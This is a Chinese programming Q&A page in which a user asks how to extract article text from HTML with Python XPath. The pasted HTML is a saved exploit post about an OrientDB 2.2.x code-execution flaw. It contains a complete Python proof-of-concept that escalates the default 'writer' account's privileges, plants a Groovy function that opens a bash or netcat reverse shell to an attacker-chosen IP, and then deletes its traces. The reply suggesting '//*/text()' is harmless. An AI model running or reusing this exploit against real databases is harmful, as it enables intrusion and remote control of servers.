python用xpath如何提取HTML为问题中固定内容

问题遇到的现象和发生背景

<html>
    <head>
        <meta charset="UTF-8"/>
        <title>OrientDB &lt;=2.22 先锋世道</title>
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
        <meta name="viewport"
              content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0"/>
        <link rel="shortcut icon" href="http://0day5.com/usr/themes/DUX/img/favicon.ico"/>
        <meta http-equiv="Cache-Control" content="no-siteapp"/>
        <meta http-equiv="Cache-Control" content="no-transform"/>

        <link rel="stylesheet" href="//cdn.jsdelivr.net/bootstrap/3.2.0/css/bootstrap.min.css" type="text/css"
              media="all"/>
        <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css" type="text/css"
              media="all"/>

        <style>
        </style>

        <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/1.9.1/jquery.min.js"/>
        <!--加载进度条-->
        <link href="//cdn.jsdelivr.net/pace/1.0.2/themes/orange/pace-theme-flash.css" rel="stylesheet"/>
        <script>paceOptions = { elements: {selectors: ['#footer']}};</script>
        <script src="//cdn.jsdelivr.net/pace/1.0.2/pace.min.js"/>
        <!--[if lt IE 9]><script src="//cdn.jsdelivr.net/html5shiv/3.7.3/html5shiv.min.js"></script><![endif]-->

        <meta name="description"
              content="关于OrientDBOrientDB是一个分布式图形数据库引擎，具有文档数据库的灵活性，一体化的产品。第一个也是最好的可升级，高性能，可操作的NoSQL数据库。Vulnerability Det..."/>
        <meta name="keywords" content="OrientDB"/>
        <script type="text/javascript">
            (function () {
            var event = document.addEventListener ? {
            add: 'addEventListener',
            triggers: ['scroll', 'mousemove', 'keyup', 'touchstart'],
            load: 'DOMContentLoaded'
            } : {
            add: 'attachEvent',
            triggers: ['onfocus', 'onmousemove', 'onkeyup', 'ontouchstart'],
            load: 'onload'
            }, added = false;

            document[event.add](event.load, function () {
            var r = document.getElementById('respond-post-4424'),
            input = document.createElement('input');
            input.type = 'hidden';
            input.name = '_';
            input.value = (function () {
            var _2lc = 'f20'//'Rws'
            +//'3'
            '3'+//'i'
            'da3'+//'huy'
            '371'+//'0yg'
            'dbf'+'qb'//'qb'
            +//'Ak2'
            'df'+/* 'r'//'r' */''+'7'//'bm9'
            +//'tuH'
            'c4'+'7'//'5'
            +'d'//'FCP'
            +'052'//'nG4'
            +'eb6'//'umS'
            +'7'//'Ray'
            +//'TV9'
            '1'+'331'//'L'
            +//'O'
            'b9', _82D = [[3,4],[12,14]];

            for (var i = 0; i &lt; _82D.length; i ++) {
            _2lc = _2lc.substring(0, _82D[i][0]) + _2lc.substring(_82D[i][1]);
            }

            return _2lc;
            })();

            if (null != r) {
            var forms = r.getElementsByTagName('form');
            if (forms.length &gt; 0) {
            function append() {
            if (!added) {
            forms[0].appendChild(input);
            added = true;
            }
            }

            for (var i = 0; i &lt; event.triggers.length; i ++) {
            var trigger = event.triggers[i];
            document[event.add](trigger, append);
            window[event.add](trigger, append);
            }
            }
            }
            });
            })();
        </script>
    </head>

    <body class="single">
        <div class="site-search">
            <div class="container">
                <form method="get" class="site-search-form">
                    <input class="search-input" name="s" type="text" placeholder="输入关键字" value=""/>
                    <button class="search-btn" type="submit">
                        <i class="fa fa-search"/>
                    </button>
                </form>
            </div>
        </div>
        <!--header-->
        <section class="container">
            <div class="content-wrap">
                <div class="content">
                    <header class="article-header">
                        <h1 class="article-title">
                            <a>OrientDB &lt;=2.22 代码执行</a>
                        </h1>
                        <div class="article-meta">
                            <span class="item">2017-07-15</span>
                            <span class="item">分类：<a>Windows</a> /
                                <a>Linux/Unix</a>
                            </span>
                            <span class="item post-views">阅读(64516)</span>
                            <span class="item">评论(0)</span>
                        </div>
                    </header>
                    <article class="article-content">
                        <p>
                            <strong>关于OrientDB</strong>
                        </p>
                        <p>OrientDB是一个分布式图形数据库引擎，具有文档数据库的灵活性，一体化的产品。第一个也是最好的可升级，高性能，可操作的NoSQL数据库。</p>
                        <p>
                            <strong>Vulnerability Details</strong>
                            <br/>OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles
                            –<strong>admin</strong>, <strong>writer</strong> and <strong>reader</strong>. These have
                            their usernames same as the role. For each database created on the server, it assigns by
                            default these 3 users.
                        </p>
                        <p>The privileges of the users are:</p>
                        <p>
                            <strong>admin</strong>
                            – access to all functions on the database without any limitation
                            <br/>
                            <strong>reader</strong>
                            – read-only user. The reader can query any records in the database, but can’t modify or
                            delete them. It has no access to internal information, such as the users and roles
                            themselves
                            <br/>
                            <strong>writer</strong>
                            – same as the "reader", but it can also create, update and delete records<br/>ORole
                            structure handles users and their roles and is only accessible by the admin user. OrientDB
                            requires oRole read permissions to allow the user to display the permissions of users and
                            make other queries associated with oRole permissions.
                        </p>
                        <p>From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order
                            by statements, this permission requirement is not required and information is returned to
                            unprivileged users.
                        </p>
                        <p>Since we enable the functions <code>where</code>, <code>fetchplan</code> and <code>order
                            by</code>, and OrientDB has a function where you could execute groovy functions and this <code>
                            groovy
                        </code> wrapper doesn’t have a sandbox and exposes system functionalities, we can run any
                            command we want.
                        </p>
                        <h3>poc</h3>
                        <pre>
                            <code class="lang-python">#! /usr/bin/env python
                                #-*- coding: utf-8 -*-
                                import sys
                                import requests
                                import json
                                import string
                                import random

                                target = sys.argv[1]

                                try:
                                port = sys.argv[2] if sys.argv[2] else 2480
                                except:
                                port = 2480

                                url =
                                "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)


                                def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
                                return ''.join(random.choice(chars) for _ in range(size))

                                def enum_databases(target,port="2480"):

                                base_url = "http://%s:%s/listDatabases"%(target,port)
                                req = requests.get(base_url)

                                if req.status_code == 200:
                                #print "[+] Database Enumeration successful"
                                database = req.json()['databases']

                                return database

                                return False

                                def check_version(target,port="2480"):
                                base_url = "http://%s:%s/listDatabases"%(target,port)
                                req = requests.get(base_url)

                                if req.status_code == 200:

                                headers = req.headers['server']
                                #print headers
                                if "2.2" in headers or "3." in headers:
                                return True

                                return False

                                def run_queries(permission,db,content=""):

                                databases = enum_databases(target)

                                url =
                                "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])

                                priv_enable = ["create","read","update","execute","delete"]
                                #query = "GRANT create ON database.class.ouser TO writer"

                                for priv in priv_enable:

                                if permission == "GRANT":
                                query = "GRANT %s ON %s TO writer"%(priv,db)
                                else:
                                query = "REVOKE %s ON %s FROM writer"%(priv,db)
                                req = requests.post(url,data=query,auth=('writer','writer'))
                                if req.status_code == 200:
                                pass
                                else:
                                if priv == "execute":
                                return True
                                return False

                                print "[+] %s"%(content)
                                return True

                                def priv_escalation(target,port="2480"):

                                print "[+] Checking OrientDB Database version is greater than 2.2"

                                if check_version(target,port):

                                priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking
                                enabling operations on database.function")
                                priv2 = run_queries("GRANT","database.function","Enabled functional operations on
                                database.function")
                                priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system
                                clusters")

                                if priv1 and priv2 and priv3:
                                return True

                                return False

                                def exploit(target,port="2480"):

                                #query =
                                '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def
                                command = \'bash -i &gt;&amp; /dev/tcp/0.0.0.0/8081 0&gt;&amp;1\';File file = new
                                File(\"hello.sh\");file.delete();file &lt;&lt; (\"#!/bin/bash\\n\");file &lt;&lt;
                                (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'

                                #query =
                                {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def
                                command = 'whoami';File file = new File(\"hello.sh\");file.delete();file &lt;&lt;
                                (\"#!/bin/bash\\n\");file &lt;&lt; (command);def proc = \"bash hello.sh\".execute();
                                ","parameters":None}

                                func_name = random_function_name()

                                print func_name

                                databases = enum_databases(target)

                                reverse_ip = raw_input('Enter the ip to connect back: ')

                                query =
                                '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def
                                command = \'bash -i &gt;&amp; /dev/tcp/'+reverse_ip+'/8081 0&gt;&amp;1\';File file = new
                                File(\\"hello.sh\\");file.delete();file &lt;&lt; (\\"#!/bin/bash\\\\n\\");file &lt;&lt;
                                (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
                                #query =
                                '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def
                                command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 0.0.0.0 8081
                                &gt;/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file
                                &lt;&lt; (\"#!/bin/bash\")\u000a file &lt;&lt; (command)\n def proc = \"bash
                                hello.sh\".execute() ","parameters":null}'
                                #query =
                                {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def
                                command = \'bash -i &gt;&amp; /dev/tcp/0.0.0.0/8081 0&gt;&amp;1\';File file = new
                                File(\"hello.sh\");file.delete();file &lt;&lt; (\"#!/bin/bash\\n\");file &lt;&lt;
                                (command);def proc = \"bash hello.sh\".execute();","parameters":None}
                                req =
                                requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))

                                if req.status_code == 201:

                                #print req.status_code
                                #print req.json()

                                func_id = req.json()['@rid'].strip("#")
                                #print func_id

                                print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)

                                req =
                                requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
                                #print req.status_code
                                #print req.text

                                if req.status_code == 200:
                                print "[+] Open netcat at port 8081.."
                                else:
                                print "[+] Exploitation failed at last step, try running the script again."
                                print req.status_code
                                print req.text

                                #print "[+] Deleting traces.."

                                req =
                                requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
                                priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
                                priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
                                priv3 = run_queries("REVOKE","database.systemclusters","Cleaning
                                Up..database.systemclusters")

                                #print req.status_code
                                #print req.text

                                def main():

                                target = sys.argv[1]
                                #port = sys.argv[1] if sys.argv[1] else 2480
                                try:
                                port = sys.argv[2] if sys.argv[2] else 2480
                                #print port
                                except:
                                port = 2480
                                if priv_escalation(target,port):
                                exploit(target,port)
                                else:
                                print "[+] Target not vulnerable"

                                main()
                            </code>
                        </pre>
                    </article>

                    <div class="article-tags">标签：
                        <a>OrientDB &lt;=2.22 代码执行</a>

                        <a>OrientDB</a>
                    </div>

                    <div class="title" id="comments">
                        <h3>评论
                            <small/>
                        </h3>
                    </div>
                </div>
            </div>
            <!-- start sidebar -->
            <!-- end sidebar -->
        </section>


        <!--footer-->

        <footer id="footer" class="footer">

            <div class="container">
                时代先锋@2000-2022

                <div class="hide"/>

            </div>

        </footer>

        <script src="//cdn.jsdelivr.net/highlight.js/9.11.0/highlight.min.js"/>

        <script>

            window.jsui={

            www: 'http://0day5.com/',

            uri: 'http://0day5.com/usr/themes/DUX',

            ver: '1.0',

            roll: ["1",],

            ajaxpager: '0'

            };

        </script>

        <script type="text/javascript" src="//cdn.jsdelivr.net/bootstrap/3.2.0/js/bootstrap.min.js"/>

        <!-- Analytics code -->


    </body>

</html>

我想要达到的结果

关于OrientDB

OrientDB是一个分布式图形数据库引擎，具有文档数据库的灵活性，一体化的产品。第一个也是最好的可升级，高性能，可操作的NoSQL数据库。

Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.

The privileges of the users are:

admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the "reader", but it can also create, update and delete records
ORole structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.

From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements, this permission requirement is not required and information is returned to unprivileged users.

Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.

写回答
好问题 0 提建议
追加酬金
关注问题
分享
邀请回答
编辑收藏删除
收藏举报

2条回答默认最新

关注

码龄粉丝数原力等级 --

被采纳

被点赞

采纳率
快乐小土狗 2022-08-16 15:03
关注
获取所有标签的文本？？？
试试这样呢

xpath('//*/text()')
解决无用
评论打赏
分享
举报

评论

按下Enter换行，Ctrl+Enter发表内容

报告相同问题？

关注问题

python爬虫关于xpath提取出来为空列表的问题 python 有问必答爬虫
2021-09-30 17:40

回答 2 已采纳你检查下这个网页中的内容是不是通过js代码读取外部json数据来动态更新的。requests只能获取网页的静态源代码，动态更新的内容取不到。对于动态更新的内容要用selenium 来爬取。或者是通
python使用xpath提取属性值不完整 python 爬虫
2022-05-30 23:15

回答 2 已采纳不知道是不是有个逗号的原因，然后把后面给截断了，可以试试正则去提取 import requests,re url = 'https://www.renren.com/login' rep=reque
python使用xpath爬取网络数据报表结果为空 python 开发语言有问必答
2021-10-23 17:12

回答 3 已采纳该页面数据在XHR中找，构建一下headers和params，使用如下方式获json数据，然后从中解析即可： response = requests.get('https://fr.oppein.co
【Python从入门到进阶】28、xpath的安装以及使用
2023-07-15 10:30

光仔December的博客 XPath是由W3C（World Wide Web Consortium）组织发布的。...XPath是一种用于在XML文档中定位和提取数据的查询语言。它可以通过路径表达式来描述XML文档中的节点结构，并根据这些路径表达式来选择特定的节点或节点集合。
python如何用xpath取两个标签之间的内容 python 爬虫
2022-05-18 17:43

回答 3 已采纳 //span[text()="名字:"]/following::a[position()<count(//span[text()="名字:"]/following::a)-count(//spa
python爬虫xpath解析返回为空有什么解决方法吗 python 爬虫
2021-12-10 11:12

回答 1 已采纳为空的地方xpath主要是为了拿到什么数据，贴一下网页和要拿到的数据，帮你写一下xpath。上面图上的xpath那么长那么绝对路径，大概率拿不到数据的。
为什么python中xpath的text ()一直报错 python
2022-11-04 09:12

回答 1 已采纳 xpath 定位不是这个吧？我用xpath是 //*[@id="su"]
Python爬虫学习笔记_DAY_21_Python爬虫之xpath实战_批量下载高清美女图片【Python爬虫】
2022-02-08 23:04

跳探戈的小龙虾的博客本次实战的目的是加强xpath的理解和使用，目标是批量下载【站长素材】网站的美女图片，并且可以类推别的图片、数据网站。站长素材是国内最优质的几个素材网站，而且本次爬虫的目标图片完全免费开放，因此不涉及任何...
关于python中xpath问题 python
2022-12-10 19:34

回答 2 已采纳通过代码提示都可以看出，这个函数在当前库版本中好像已经弃用了，而你把它硬敲了出来肯定是不行的把版本放低点
在Python中xpath爬图片src有问题 python
2022-09-27 00:17

回答 5 已采纳 import urllib.request from lxml import etree def create_request(page): if (page == 1):
XPATH在python selenium中的定位当前节点的子点的问题 html5 python selenium
2020-09-18 10:38

回答 1 已采纳 https://blog.csdn.net/sun_977759/article/details/100989829
python xpath定位不到_Xpath定位方法深入探讨及元素定位失败常见情况
2021-03-17 02:40

weixin_39819138的博客一、Xpath定位方法深入探讨(1)常用的Xpath定位方法及其特点使用绝对路径定位元素。例如：driver.findElement(By.xpath("/html/body/div/form/input"))。特点：这个路径是从网页起始标签开始一直到要定位的元素的路径...
Python爬虫 xpath 列表为空 python 有问必答爬虫
2022-03-08 08:32

回答 2 已采纳第二个li的div下少了结束标签导致etree解析出错了少了div结束标签后，etree将建筑类别后的几点全部归类到第二li下了，改下面这样就可以了 import requests from lxm
Python爬虫从入门到精通（四）提取网页中的信息
2021-12-04 10:59

zhulin1028的博客目录一、数据的类型 1、结构化数据 2、半结构化数据 3、非结构化数据二、关于XML,HTML,DOM和JSON文件 ...可以使用关系型数据库表示和存储，表现为二维形式的数据。一般特点是：数据以行为单位，一行数
python爬虫小结（-xpath解析）：（1）
2021-11-17 20:00

xiao52x的博客 # 一定要在循环内，否则一直为"https://pic.netbian.com/4kmeinv/index_2.html" # 关于为什么后面是/4kmeinv/index_{0}.html 代码后讲解 url = "https://pic.netbian.com/4kmeinv/index_{0}.html" url = url....
没有解决我的问题, 去提问

问题事件

关注

码龄粉丝数原力等级 --

被采纳

被点赞

采纳率
已结题（查看结题原因） 8月19日
关注

码龄粉丝数原力等级 --

被采纳

被点赞

采纳率
修改了问题 8月16日
关注

码龄粉丝数原力等级 --

被采纳

被点赞

采纳率
创建了问题 8月16日

悬赏问题

¥15 使用ue5插件narrative时如何切换关卡也保存叙事任务记录
¥20 软件测试决策法疑问求解答
¥15 win11 23H2删除推荐的项目，支持注册表等
¥15 matlab 用yalmip搭建模型，cplex求解，线性化处理的方法
¥15 qt6.6.3 基于百度云的语音识别不会改
¥15 关于#目标检测#的问题：大概就是类似后台自动检测某下架商品的库存，在他监测到该商品上架并且可以购买的瞬间点击立即购买下单
¥15 神经网络怎么把隐含层变量融合到损失函数中？
¥15 lingo18勾选global solver求解使用的算法
¥15 全部备份安卓app数据包括密码，可以复制到另一手机上运行
¥20 测距传感器数据手册i2c

python用xpath如何提取HTML为问题中固定内容

问题遇到的现象和发生背景

我想要达到的结果

2条回答 默认 最新

问题事件

悬赏问题

2条回答默认最新